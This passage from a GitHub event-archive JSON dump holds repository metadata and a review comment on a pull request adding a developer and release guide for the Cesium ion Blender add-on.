ta/pulls{/number}","milestones_url":"https://api.github.com/repos/jorblancoa/libsonata/milestones{/number}","notifications_url":"https://api.github.com/repos/jorblancoa/libsonata/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jorblancoa/libsonata/labels{/name}","releases_url":"https://api.github.com/repos/jorblancoa/libsonata/releases{/id}","deployments_url":"https://api.github.com/repos/jorblancoa/libsonata/deployments","created_at":"2019-07-16T14:19:57Z","updated_at":"2019-07-16T14:20:00Z","pushed_at":"2019-07-22T16:14:49Z","git_url":"git://github.com/jorblancoa/libsonata.git","ssh_url":"git@github.com:jorblancoa/libsonata.git","clone_url":"https://github.com/jorblancoa/libsonata.git","svn_url":"https://github.com/jorblancoa/libsonata","homepage":"","size":220,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"BlueBrain:reports","ref":"reports","sha":"98aa883849c700c369b532a9f4b6bf2a66ea4edc","user":{"login":"BlueBrain","id":1479142,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0NzkxNDI=","avatar_url":"https://avatars1.githubusercontent.com/u/1479142?v=4","gravatar_id":"","url":"https://api.github.com/users/BlueBrain","html_url":"https://github.com/BlueBrain","followers_url":"https://api.github.com/users/BlueBrain/followers","following_url":"https://api.github.com/users/BlueBrain/following{/other_user}","gists_url":"https://api.github.com/users/BlueBrain/gists{/gist_id}","starred_url":"https://api.github.com/users/BlueBrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BlueBrain/subscriptions","organizations_url":"https://api.github.com/users/BlueBrain/orgs","repos_url":"https://api.github.com/users/BlueBrain/repos","events_url":"https://api.github.com/users/BlueBrain/events{/privacy}","received_events_url":"https://api.github.com/users/BlueBrain/received_events","type":"Organization","site_admin":false},"repo":{"id":175239261,"node_id":"MDEwOlJlcG9zaXRvcnkxNzUyMzkyNjE=","name":"libsonata","full_name":"BlueBrain/libsonata","private":false,"owner":{"login":"BlueBrain","id":1479142,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0NzkxNDI=","avatar_url":"https://avatars1.githubusercontent.com/u/1479142?v=4","gravatar_id":"","url":"https://api.github.com/users/BlueBrain","html_url":"https://github.com/BlueBrain","followers_url":"https://api.github.com/users/BlueBrain/followers","following_url":"https://api.github.com/users/BlueBrain/following{/other_user}","gists_url":"https://api.github.com/users/BlueBrain/gists{/gist_id}","starred_url":"https://api.github.com/users/BlueBrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BlueBrain/subscriptions","organizations_url":"https://api.github.com/users/BlueBrain/orgs","repos_url":"https://api.github.com/users/BlueBrain/repos","events_url":"https://api.github.com/users/BlueBrain/events{/privacy}","received_events_url":"https://api.github.com/users/BlueBrain/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BlueBrain/libsonata","description":"A python and C++ interface to the SONATA format","fork":false,"url":"https://api.github.com/repos/BlueBrain/libsonata","forks_url":"https://api.github.com/repos/BlueBrain/libsonata/forks","keys_url":"https://api.github.com/repos/BlueBrain/libsonata/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BlueBrain/libsonata/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BlueBrain/libsonata/teams","hooks_url":"https://api.github.com/repos/BlueBrain/libsonata/hooks","issue_events_url":"https://api.github.com/repos/BlueBrain/libsonata/issues/events{/number}","events_url":"https://api.github.com/repos/BlueBrain/libsonata/events","assignees_url":"https://api.github.com/repos/BlueBrain/libsonata/assignees{/user}","branches_url":"https://api.github.com/repos/BlueBrain/libsonata/branches{/branch}","tags_url":"https://api.github.com/repos/BlueBrain/libsonata/tags","blobs_url":"https://api.github.com/repos/BlueBrain/libsonata/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BlueBrain/libsonata/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BlueBrain/libsonata/git/refs{/sha}","trees_url":"https://api.github.com/repos/BlueBrain/libsonata/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BlueBrain/libsonata/statuses/{sha}","languages_url":"https://api.github.com/repos/BlueBrain/libsonata/languages","stargazers_url":"https://api.github.com/repos/BlueBrain/libsonata/stargazers","contributors_url":"https://api.github.com/repos/BlueBrain/libsonata/contributors","subscribers_url":"https://api.github.com/repos/BlueBrain/libsonata/subscribers","subscription_url":"https://api.github.com/repos/BlueBrain/libsonata/subscription","commits_url":"https://api.github.com/repos/BlueBrain/libsonata/commits{/sha}","git_commits_url":"https://api.github.com/repos/BlueBrain/libsonata/git/commits{/sha}","comments_url":"https://api.github.com/repos/BlueBrain/libsonata/comments{/number}","issue_comment_url":"https://api.github.com/repos/BlueBrain/libsonata/issues/comments{/number}","contents_url":"https://api.github.com/repos/BlueBrain/libsonata/contents/{+path}","compare_url":"https://api.github.com/repos/BlueBrain/libsonata/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BlueBrain/libsonata/merges","archive_url":"https://api.github.com/repos/BlueBrain/libsonata/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BlueBrain/libsonata/downloads","issues_url":"https://api.github.com/repos/BlueBrain/libsonata/issues{/number}","pulls_url":"https://api.github.com/repos/BlueBrain/libsonata/pulls{/number}","milestones_url":"https://api.github.com/repos/BlueBrain/libsonata/milestones{/number}","notifications_url":"https://api.github.com/repos/BlueBrain/libsonata/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BlueBrain/libsonata/labels{/name}","releases_url":"https://api.github.com/repos/BlueBrain/libsonata/releases{/id}","deployments_url":"https://api.github.com/repos/BlueBrain/libsonata/deployments","created_at":"2019-03-12T15:14:33Z","updated_at":"2019-07-15T09:42:58Z","pushed_at":"2019-07-23T09:52:02Z","git_url":"git://github.com/BlueBrain/libsonata.git","ssh_url":"git@github.com:BlueBrain/libsonata.git","clone_url":"https://github.com/BlueBrain/libsonata.git","svn_url":"https://github.com/BlueBrain/libsonata","homepage":"","size":196,"stargazers_count":1,"watchers_count":1,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":14,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":6,"open_issues":14,"watchers":1,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43"},"html":{"href":"https://github.com/BlueBrain/libsonata/pull/43"},"issue":{"href":"https://api.github.com/repos/BlueBrain/libsonata/issues/43"},"comments":{"href":"https://api.github.com/repos/BlueBrain/libsonata/issues/43/comments"},"review_comments":{"href":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43/comments"},"review_comment":{"href":"https://api.github.com/repos/BlueBrain/libsonata/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/BlueBrain/libsonata/pulls/43/commits"},"statuses":{"href":"https://api.github.com/repos/BlueBrain/libsonata/statuses/2678e905d87dbf10c86e1e9e04f4bfd92642625f"}},"author_association":"NONE"}}
|
{
"id": 175239261,
"name": "BlueBrain/libsonata",
"url": "https://api.github.com/repos/BlueBrain/libsonata"
}
|
{
"id": 13150119,
"login": "mgeplf",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/13150119?",
"url": "https://api.github.com/users/mgeplf"
}
|
{
"id": 1479142,
"login": "BlueBrain",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1479142?",
"url": "https://api.github.com/orgs/BlueBrain"
}
| 2019-07-23T10:34:23 |
10065315343
|
{"actor":{"display_login":"mgeplf"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/comments/298377389","pull_request_review_id":255490002,"id":298377389,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5ODM3NzM4OQ==","diff_hunk":"@@ -0,0 +1,66 @@\n+# Development\n+\n+Follow these steps to run the addon directly from source so that your changes will be reflected in Blender.\n+\n+1. Clone the repository: `git clone git@github.com:AnalyticalGraphicsInc/cesium-ion-blender-addon.git`\n+\n+1. Start Blender and uninstall any existing versions of the addon via `Edit->Preferences->Add-ons`. Exit blender.\n+\n+1. Create a symbolic link to the `cesium-ion-blender-addon/io-cesium-ion` directory from your platform specific addon directory:\n+\n+ - **Windows** `<Blender Install Location>\\blender\\[version]\\addons\\`\n+ - **Linux** `<Blender Install Location>/blender/[version]/addons/`\n+ - **macOS** `Users/[USER]/Library/Application Support/Blender/[version]/scripts/addons/`\n+\n+1. Restart Blender again the addon will show up in `Edit->Preferences->Add-ons`.\n+\n+1. Enable the addon.\n+\n+## Debugging\n+\n+1. Read [Debugging Python code with PyCharm](https://code.blender.org/2015/10/debugging-python-code-with-pycharm) to get started with Blender addon debugging. **NOTE:** With Blender 2.80+, you need the [updated debugger script](https://github.com/ux3d/random-blender-addons/blob/master/remote_debugger.py)\n+\n+## Releases\n+\n+Releases are available on the [downloads page](https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/releases) and are performed as needed. To perform a release, follow the following steps:\n+\n+__Create the release package__\n+\n+1. Pull down the latest master branch: `git pull origin master`\n+1. Modify `__init__.py` and increment the minor version only:\n+ - `\"version\": (1, 0, 0),` becomes `\"version\": (1, 1, 0),`\n+1. Proofread and update CHANGES.md to capture any changes since last release.\n+1. Commit and push these changes directly to master.\n+1. Make sure the repository is clean `git clean -d -x -f`. __This will delete all files not already in the repository.__\n+1. Run `python3 utils.py package` inside the root folder to build `io-cesium-ion-vx.x.x.zip` (were x.x.x will be the version)\n+\n+__Testing__\n+\n+_If any file fails to export or fails in an unintended way stop the release process and notify the team of the issue._\n+\n+1. Install the newly packaged addon using the [installation guide](https://cesium.com/docs/tutorials/integrating-with-blender/). If there are any changes needed in the instructions, write an issue.\n+1. Launch Blender\n+1. Test Login Process\n+ - Authorize through user preferences.\n+ - Logout through user preferences.\n+ - Authorize through user preferences **but deny**.\n+ - Logout through user preferences.\n+ - Authorize through side-panel.\n+1. Export the `.blender` files contained within [test-assets](https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/tree/master/test-assets) using the options set within each file.\n+\n+__Release__\n+\n+Once all tests have pass, we can actually publish the release.\n+\n+1. Create and push a tag, e.g.,\n+ - `git tag -a 1.1 -m '1.1 release'`\n+ - `git push origin 1.1` (do not use `git push --tags`)\n+1. Publish the release zip file to GitHub\n+ - [Create new release](https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/releases/new).\n+ - Select the tag you use pushed\n+ - Enter `Cesium ion Blender Addon 1.x` for the title\n+ - Include date, list of highlights and link to CHANGES.md (https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/blob/1.xx/CHANGES.md) as the description","path":"Documentation/DeveloperGuide/README.md","position":62,"original_position":62,"commit_id":"9a25dfe4c6c5e2074605186afd679735c2763ec5","original_commit_id":"9a25dfe4c6c5e2074605186afd679735c2763ec5","user":{"login":"mramato","id":1495196,"node_id":"MDQ6VXNlcjE0OTUxOTY=","avatar_url":"https://avatars2.githubusercontent.com/u/1495196?v=4","gravatar_id":"","url":"https://api.github.com/users/mramato","html_url":"https://github.com/mramato","followers_url":"https://api.github.com/users/mramato/followers","following_url":"https://api.github.com/users/mramato/following{/other_user}","gists_url":"https://api.github.com/users/mramato/gists{/gist_id}","starred_url":"https://api.github.com/users/mramato/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mramato/subscriptions","organizations_url":"https://api.github.com/users/mramato/orgs","repos_url":"https://api.github.com/users/mramato/repos","events_url":"https://api.github.com/users/mramato/events{/privacy}","received_events_url":"https://api.github.com/users/mramato/received_events","type":"User","site_admin":false},"body":"I'll add a note to replace the 1.xx with the version number. The url is a permalink so it always links to a very specific CHANGES file, not what's in master.","created_at":"2019-06-27T21:28:14Z","updated_at":"2019-06-27T21:28:14Z","html_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/pull/9#discussion_r298377389","pull_request_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/comments/298377389"},"html":{"href":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/pull/9#discussion_r298377389"},"pull_request":{"href":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9"}},"in_reply_to_id":297853706},"pull_request":{"url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9","id":292143325,"node_id":"MDExOlB1bGxSZXF1ZXN0MjkyMTQzMzI1","html_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/pull/9","diff_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/pull/9.diff","patch_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon/pull/9.patch","issue_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/9","number":9,"state":"open","locked":false,"title":"Add and update various guides","user":{"login":"mramato","id":1495196,"node_id":"MDQ6VXNlcjE0OTUxOTY=","avatar_url":"https://avatars2.githubusercontent.com/u/1495196?v=4","gravatar_id":"","url":"https://api.github.com/users/mramato","html_url":"https://github.com/mramato","followers_url":"https://api.github.com/users/mramato/followers","following_url":"https://api.github.com/users/mramato/following{/other_user}","gists_url":"https://api.github.com/users/mramato/gists{/gist_id}","starred_url":"https://api.github.com/users/mramato/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mramato/subscriptions","organizations_url":"https://api.github.com/users/mramato/orgs","repos_url":"https://api.github.com/users/mramato/repos","events_url":"https://api.github.com/users/mramato/events{/privacy}","received_events_url":"https://api.github.com/users/mramato/received_events","type":"User","site_admin":false},"body":"1. Update README.md\r\n2. Add CHANGES.md\r\n3. Add CODE_OF_CONDUCT.md\r\n4. Add CONTRIBUTING.md\r\n5. Rename and update `docs/development.md` to `DeveloperGuide/README.md`\r\n6. Update author and version\r\n\r\nSince this is a chicken and egg problem, not a links are live yet but should be soon-ish.\r\n\r\n@ProjectBarks can you give this a once over and see if I missed anything or screwed anything up. Most of it is based directly off what we have elsewhere in CesiumJS.\r\n\r\n@OmarShehata similar request for feedback, since we want to use this as a base for future addons.\r\n\r\nThanks to both of you!","created_at":"2019-06-26T20:16:54Z","updated_at":"2019-06-27T21:28:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a226a95c38226514491ad4cccd69f54b4494dce1","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9/commits","review_comments_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/9/comments","review_comment_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls/comments{/number}","comments_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/9/comments","statuses_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/statuses/9a25dfe4c6c5e2074605186afd679735c2763ec5","head":{"label":"AnalyticalGraphicsInc:readme","ref":"readme","sha":"9a25dfe4c6c5e2074605186afd679735c2763ec5","user":{"login":"AnalyticalGraphicsInc","id":1490220,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0OTAyMjA=","avatar_url":"https://avatars0.githubusercontent.com/u/1490220?v=4","gravatar_id":"","url":"https://api.github.com/users/AnalyticalGraphicsInc","html_url":"https://github.com/AnalyticalGraphicsInc","followers_url":"https://api.github.com/users/AnalyticalGraphicsInc/followers","following_url":"https://api.github.com/users/AnalyticalGraphicsInc/following{/other_user}","gists_url":"https://api.github.com/users/AnalyticalGraphicsInc/gists{/gist_id}","starred_url":"https://api.github.com/users/AnalyticalGraphicsInc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AnalyticalGraphicsInc/subscriptions","organizations_url":"https://api.github.com/users/AnalyticalGraphicsInc/orgs","repos_url":"https://api.github.com/users/AnalyticalGraphicsInc/repos","events_url":"https://api.github.com/users/AnalyticalGraphicsInc/events{/privacy}","received_events_url":"https://api.github.com/users/AnalyticalGraphicsInc/received_events","type":"Organization","site_admin":false},"repo":{"id":188291720,"node_id":"MDEwOlJlcG9zaXRvcnkxODgyOTE3MjA=","name":"cesium-ion-blender-addon","full_name":"AnalyticalGraphicsInc/cesium-ion-blender-addon","private":false,"owner":{"login":"AnalyticalGraphicsInc","id":1490220,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0OTAyMjA=","avatar_url":"https://avatars0.githubusercontent.com/u/1490220?v=4","gravatar_id":"","url":"https://api.github.com/users/AnalyticalGraphicsInc","html_url":"https://github.com/AnalyticalGraphicsInc","followers_url":"https://api.github.com/users/AnalyticalGraphicsInc/followers","following_url":"https://api.github.com/users/AnalyticalGraphicsInc/following{/other_user}","gists_url":"https://api.github.com/users/AnalyticalGraphicsInc/gists{/gist_id}","starred_url":"https://api.github.com/users/AnalyticalGraphicsInc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AnalyticalGraphicsInc/subscriptions","organizations_url":"https://api.github.com/users/AnalyticalGraphicsInc/orgs","repos_url":"https://api.github.com/users/AnalyticalGraphicsInc/repos","events_url":"https://api.github.com/users/AnalyticalGraphicsInc/events{/privacy}","received_events_url":"https://api.github.com/users/AnalyticalGraphicsInc/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon","description":"Blender add-on for uploading and tiling models with Cesium ion. https://cesium.com","fork":false,"url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon","forks_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/forks","keys_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/teams","hooks_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/hooks","issue_events_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/events{/number}","events_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/events","assignees_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/assignees{/user}","branches_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/branches{/branch}","tags_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/tags","blobs_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/refs{/sha}","trees_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/statuses/{sha}","languages_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/languages","stargazers_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/stargazers","contributors_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/contributors","subscribers_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/subscribers","subscription_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/subscription","commits_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/commits{/sha}","git_commits_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/commits{/sha}","comments_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/comments{/number}","issue_comment_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/comments{/number}","contents_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/contents/{+path}","compare_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/merges","archive_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/downloads","issues_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues{/number}","pulls_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls{/number}","milestones_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/milestones{/number}","notifications_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/labels{/name}","releases_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/releases{/id}","deployments_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/deployments","created_at":"2019-05-23T19:09:09Z","updated_at":"2019-06-26T16:57:28Z","pushed_at":"2019-06-26T20:16:54Z","git_url":"git://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon.git","ssh_url":"git@github.com:AnalyticalGraphicsInc/cesium-ion-blender-addon.git","clone_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon.git","svn_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon","homepage":null,"size":92625,"stargazers_count":0,"watchers_count":0,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":5,"watchers":0,"default_branch":"master"}},"base":{"label":"AnalyticalGraphicsInc:master","ref":"master","sha":"e94d8aee53a7f1f9685291bb71b441c8b290f7e6","user":{"login":"AnalyticalGraphicsInc","id":1490220,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0OTAyMjA=","avatar_url":"https://avatars0.githubusercontent.com/u/1490220?v=4","gravatar_id":"","url":"https://api.github.com/users/AnalyticalGraphicsInc","html_url":"https://github.com/AnalyticalGraphicsInc","followers_url":"https://api.github.com/users/AnalyticalGraphicsInc/followers","following_url":"https://api.github.com/users/AnalyticalGraphicsInc/following{/other_user}","gists_url":"https://api.github.com/users/AnalyticalGraphicsInc/gists{/gist_id}","starred_url":"https://api.github.com/users/AnalyticalGraphicsInc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AnalyticalGraphicsInc/subscriptions","organizations_url":"https://api.github.com/users/AnalyticalGraphicsInc/orgs","repos_url":"https://api.github.com/users/AnalyticalGraphicsInc/repos","events_url":"https://api.github.com/users/AnalyticalGraphicsInc/events{/privacy}","received_events_url":"https://api.github.com/users/AnalyticalGraphicsInc/received_events","type":"Organization","site_admin":false},"repo":{"id":188291720,"node_id":"MDEwOlJlcG9zaXRvcnkxODgyOTE3MjA=","name":"cesium-ion-blender-addon","full_name":"AnalyticalGraphicsInc/cesium-ion-blender-addon","private":false,"owner":{"login":"AnalyticalGraphicsInc","id":1490220,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0OTAyMjA=","avatar_url":"https://avatars0.githubusercontent.com/u/1490220?v=4","gravatar_id":"","url":"https://api.github.com/users/AnalyticalGraphicsInc","html_url":"https://github.com/AnalyticalGraphicsInc","followers_url":"https://api.github.com/users/AnalyticalGraphicsInc/followers","following_url":"https://api.github.com/users/AnalyticalGraphicsInc/following{/other_user}","gists_url":"https://api.github.com/users/AnalyticalGraphicsInc/gists{/gist_id}","starred_url":"https://api.github.com/users/AnalyticalGraphicsInc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AnalyticalGraphicsInc/subscriptions","organizations_url":"https://api.github.com/users/AnalyticalGraphicsInc/orgs","repos_url":"https://api.github.com/users/AnalyticalGraphicsInc/repos","events_url":"https://api.github.com/users/AnalyticalGraphicsInc/events{/privacy}","received_events_url":"https://api.github.com/users/AnalyticalGraphicsInc/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon","description":"Blender add-on for uploading and tiling models with Cesium ion. https://cesium.com","fork":false,"url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon","forks_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/forks","keys_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/teams","hooks_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/hooks","issue_events_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/events{/number}","events_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/events","assignees_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/assignees{/user}","branches_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/branches{/branch}","tags_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/tags","blobs_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/refs{/sha}","trees_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/statuses/{sha}","languages_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/languages","stargazers_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/stargazers","contributors_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/contributors","subscribers_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/subscribers","subscription_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/subscription","commits_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/commits{/sha}","git_commits_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/git/commits{/sha}","comments_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/comments{/number}","issue_comment_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues/comments{/number}","contents_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/contents/{+path}","compare_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/merges","archive_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/downloads","issues_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/issues{/number}","pulls_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/pulls{/number}","milestones_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/milestones{/number}","notifications_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/labels{/name}","releases_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/releases{/id}","deployments_url":"https://api.github.com/repos/AnalyticalGraphicsInc/cesium-ion-blender-addon/deployments","created_at":"2019-05-23T19:09:09Z","updated_at":"2019-06-26T16:57:28Z","pushed_at":"2019-06-26T20:16:54Z","git_url":"git://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon.git","ssh_url":"git@github.com:AnalyticalGraphicsInc/cesium-ion-blender-addon.git","clone_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon.git","svn_url":"https://github.com/AnalyticalGraphicsInc/cesium-ion-blender-addon","homepage":null,"size":92625,"stargazers_count":0,"watchers_count":0,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_i